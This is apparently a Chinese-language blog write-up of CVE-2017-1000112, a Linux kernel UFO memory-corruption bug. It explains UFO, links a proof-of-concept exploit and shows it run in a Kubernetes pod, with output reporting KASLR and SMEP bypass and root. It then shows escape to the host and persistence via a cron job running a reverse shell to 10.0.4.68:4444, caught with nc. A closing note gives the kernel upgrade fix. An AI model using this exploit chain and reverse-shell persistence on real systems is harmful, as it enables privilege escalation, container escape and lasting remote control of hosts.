描述

由于 UFO 到非 UFO 路径切换导致的可利用内存损坏。使用 MSG_MORE __ip_append_data() 构建 UFO 数据包时,会调用 ip_ufo_append_data() 进行追加。然而,在两次 send() 调用之间,追加路径可以从 UFO 切换到非 UFO 路径,这会导致内存损坏。

针对 UFO Linux 内核实现 CVE-2017-1000112 中漏洞的概念验证本地根利用。

什么是UFO

  • UFO(UDP Fragment Offload)是硬件网卡提供的一种特性,由内核和驱动配合完成相关功能。其目的是由网卡硬件来完成本来需要软件进行的分段(分片)操作用于提升效率和性能。减少Linux 内核传输层和网络层的计算工作,将这些计算工作offload(卸载)到物理网卡。UDP协议层本身不对大的数据报进行分片,而是交给IP层去做。因此,UFO就是将IP分片offload到网卡中进行。

  • 如大家所知,在网络上传输的数据包不能大于mtu,当用户发送大于mtu的数据报文时,通常会在传输层(或者在特殊情况下在IP层分片,比如ip转发或ipsec时)就会按mtu大小进行分段,防止发送出去的报文大于mtu,为提升该操作的性能,新的网卡硬件基本都实现了UFO功能,可以使分段(或分片)操作在网卡硬件完成,此时用户态就可以发送长度大于mtu的包,而且不必在协议栈中进行分段(或分片)。

  • 这就意味着当开启UFO时,可以支持发送超过MTU大小的数据报。

  • ip_ufo_append_data函数大致原理为:当硬件支持且打开了UFO、udp包大小大于mtu会进入此流程,将用户态数据拷贝拷skb中的非线性区中(即skb_shared_info->frags[],原本用于SG)。

  • 主要流程为:从sock发送队列中取skb,如果发送队列为空,则新分配一个skb;如果不为空,则直接使用该skb;然后,判断per task的page_frag中是否有空间可用,有的话,就直接从用户态拷贝数据到该page_frag中,如果没有空间,则分配新的page,放入page_frag中,然后再从用户态拷贝数据到其中,最后将该page_frag中的page链入skb的非线性区中(即skb_shared_info->frags[]).

影响范围

影响linux kernel 4.12.3之前的版本,在4.14的版本将移除UFO机制。

漏洞利用

poc下载

poc:https://github.com/Metarget/metarget/blob/master/writeups_cnv/kernel-cve-2017-1000112/poc.c

编译

1
2
3
4
root@wuala:/home# gcc -o exp poc.c  
root@wuala:/home#
root@wuala:/home# ls
exp poc.c wulala

查看环境

1
2
3
4
5
6
root@ubuntu-68d495dd49-fcswz:/home# uname -a 
Linux ubuntu-68d495dd49-fcswz 4.8.0-34-generic #36~16.04.1-Ubuntu SMP Wed Dec 21 18:55:08 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
root@ubuntu-68d495dd49-fcswz:/home# uname -r
4.8.0-34-generic
root@ubuntu-68d495dd49-fcswz:/home# cat /etc/issue
Ubuntu 20.04.3 LTS \n \l

执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root@ubuntu-68d495dd49-fcswz:/home# ./exp  
[^] starting
[=] running KASLR defeat exploit (CVE-2017-18344)
[0] enumerating divide_error() location (CVE-2017-18344)
[>] setting up proc reader
[+] done
[>] checking /proc/cpuinfo
[+] looks good
[>] setting up timer
[+] done
[>] finding leak pointer address
[+] done: 0000000201232860
[>] mapping leak pointer page
[+] done
[+] divide_error is at: ffffffff82097200
[1] checking distro and kernel versions
[.] kernel version '4.8.0-34-generic' detected
[+] done, versions looks good
[2] checking SMEP and SMAP
[+] done, looks good
[=] running privilege escalation exploit (CVE-2017-1000112)
[3] setting up namespace sandbox
[+] done, namespace sandbox set up
[~] commit_creds: ffffffff818a5d50
[~] prepare_kernel_cred: ffffffff818a6140
[4] SMEP bypass enabled, mmapping fake stack
[+] done, fake stack mmapped
[5] executing payload ffffffff81817d15
[+] done, should be root now
[6] checking if we got root
[+] got r00t ^_^

执行后,网卡没有ip地址,无法网络通讯,通过ps 可以确认确实逃逸成功。后续利用可以写ssh key或定时计划

利用前ifconfig & ps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@ubuntu-68d495dd49-fcswz:/home# ps aux 
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 4112 3376 pts/0 Ss+ 07:39 0:00 bash
root 26 0.0 0.0 4240 3588 pts/1 Ss 07:43 0:00 /bin/bash
root 318 0.0 0.0 5900 2908 pts/1 R+ 07:48 0:00 ps aux

root@ubuntu-68d495dd49-fcswz:/home# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1450
inet 10.244.0.8 netmask 255.255.255.0 broadcast 0.0.0.0
ether 8e:c1:f5:30:6c:1d txqueuelen 0 (Ethernet)
RX packets 6484 bytes 20715710 (20.7 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 6479 bytes 451059 (451.0 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

利用后ifconfig & ps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
root@ubuntu-68d495dd49-fcswz:/# ps aux 
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 8291 0.0 0.0 7652 4368 ? Sl 07:21 0:00 docker-containerd-shim -namespace moby -workdir /var/li
root 8309 0.9 1.1 210244 94068 ? Ssl 07:21 0:16 kube-controller-manager --allocate-node-cidrs=true --au
root 8529 0.0 0.0 7652 4416 ? Sl 07:22 0:00 docker-containerd-shim -namespace moby -workdir /var/li
root 8545 0.0 0.0 1024 4 ? Ss 07:22 0:00 /pause
root 8573 0.0 0.0 7652 4424 ? Sl 07:22 0:00 docker-containerd-shim -namespace moby -workdir /var/li
root 8589 0.0 0.0 1024 4 ? Ss 07:22 0:00 /pause
root 8689 0.0 0.0 7716 4432 ? Sl 07:22 0:00 docker-containerd-shim -namespace moby -workdir /var/li
root 8723 0.0 0.4 139624 35492 ? Ssl 07:22 0:00 /usr/local/bin/kube-proxy --config=/var/lib/kube-proxy/
root 8809 0.0 0.0 7652 4516 ? Sl 07:22 0:00 docker-containerd-shim -namespace moby -workdir /var/li
root 8825 0.0 0.5 1339640 41928 ? Ssl 07:22 0:00 /opt/bin/flanneld --ip-masq --kube-subnet-mgr
root 8946 0.0 0.0 7652 3884 ? Sl 07:22 0:00 docker-containerd-shim -namespace moby -workdir /var/li
root 8963 0.0 0.0 1024 4 ? Ss 07:22 0:00 /pause
root 9038 0.0 0.0 7652 4492 ? Sl 07:22 0:00 docker-containerd-shim -namespace moby -workdir /var/li
root 9053 0.1 0.4 146036 35752 ? Ssl 07:22 0:02 /coredns -conf /etc/coredns/Corefile
root 9113 0.0 0.0 7652 4304 ? Sl 07:22 0:00 docker-containerd-shim -namespace moby -workdir /var/li
root 9128 0.0 0.0 1024 4 ? Ss 07:22 0:00 /pause
root 9198 0.0 0.0 7652 4436 ? Sl 07:22 0:00 docker-containerd-shim -namespace moby -workdir /var/li
root 9216 0.1 0.4 146036 37948 ? Ssl 07:22 0:03 /coredns -conf /etc/coredns/Corefile
root 10693 0.0 0.0 0 0 ? S 07:26 0:00 [kworker/1:3]
root 11304 0.0 0.0 0 0 ? S 07:27 0:00 [kworker/u4:0]
root 15132 0.0 0.0 0 0 ? S 07:38 0:00 [kworker/1:2]
root 15570 0.0 0.0 7716 3756 ? Sl 07:39 0:00 docker-containerd-shim -namespace moby -workdir /var/li
root 15586 0.0 0.0 1024 4 ? Ss 07:39 0:00 /pause
root 15641 0.0 0.0 0 0 ? S 07:39 0:00 [kworker/0:3]
root 15779 0.0 0.0 9060 4540 ? Sl 07:39 0:00 docker-containerd-shim -namespace moby -workdir /var/li
root 15795 0.0 0.0 4112 3376 pts/0 Ss+ 07:39 0:00 bash
root 16711 0.0 0.0 0 0 ? S 07:42 0:00 [kworker/u4:1]
root 17015 0.0 0.5 145080 41804 pts/0 Sl+ 07:43 0:00 kubectl exec -it pod/ubuntu-68d495dd49-fcswz /bin/bash
root 17032 0.0 0.0 4240 3588 pts/1 Ss 07:43 0:00 /bin/bash
root 17724 0.0 0.0 105704 7056 ? Ss 07:45 0:00 sshd: root@pts/1
root 17790 0.0 0.0 21368 5000 pts/1 Ss+ 07:45 0:00 -bash
root 18571 0.0 0.0 0 0 ? S 07:48 0:00 [kworker/u4:2]
root 18645 0.0 0.0 18516 3336 pts/1 S 07:49 0:00 /bin/bash -i
root 18659 0.0 0.0 36708 3176 pts/1 R+ 07:49 0:00 ps aux

root@ubuntu-68d495dd49-fcswz:/# ifconfig
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 1500
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@ubuntu-68d495dd49-fcswz:/#

定时计划反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@ubuntu-68d495dd49-fcswz:/var/spool/cron/crontabs# crontab -l
*/1 * * * * /bin/bash /shell.sh
root@ubuntu-68d495dd49-fcswz:/var/spool/cron/crontabs#

root@ubuntu-68d495dd49-fcswz:/var/spool/cron/crontabs# cat /shell.sh
#!/bin/bash
sh -i >& /dev/tcp/10.0.4.68/4444 0>&1
root@ubuntu-68d495dd49-fcswz:/var/spool/cron/crontabs#

攻击机器
╭─wulala@wulaladeMacBook-Pro ~/tools/cloud_ex/cve-poc ‹master*›
╰─$ nc -l 4444
sh: 0: can't access tty; job control turned off
# ip addr
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:0c:29:b0:82:1b brd ff:ff:ff:ff:ff:ff
inet 192.168.100.123/24 brd 192.168.100.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:feb0:821b/64 scope link
valid_lft forever preferred_lft forever

# whoami
root
#

修复方式

影响linux kernel 4.12.3之前的版本,在4.14的版本将移除UFO机制。升级到4.12.3以上版本

⬆︎TOP